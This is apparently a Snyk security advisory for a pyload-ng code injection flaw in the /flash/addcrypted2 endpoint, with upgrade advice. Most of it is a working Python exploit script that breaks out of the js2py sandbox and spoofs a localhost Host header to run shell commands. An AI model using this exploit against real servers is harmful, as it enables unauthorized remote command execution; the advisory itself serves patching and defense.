Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learningUpgrade pyload-ng
to version 0.5.0b3.dev87 or higher.
pyload-ng is a The free and open-source Download Manager written in pure Python
Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the /flash/addcrypted2
API endpoint that uses js2py
, which is vulnerable to Code Injection. An attacker can execute arbitrary shell commands by sending a specially crafted request that bypasses the localhost-only restriction using a modified HTTP header.
Note:
Any payload-ng
running under python3.11 or below is vulnerable.
pyload-ng doesn't use js2py for python3.12 or above.
import socket
import base64
from urllib.parse import quote
host, port = input("host: "), int(input("port: "))
payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
return n11
}
"""
crypted_b64 = base64.b64encode(b"1234").decode()
data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"
request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}
{data}
""".encode().replace(b"\n", b"\r\n")
def main():
s = socket.socket()
s.connect((host, port))
s.send(request)
response = s.recv(1024).decode()
print(response)
if __name__ == "__main__":
main()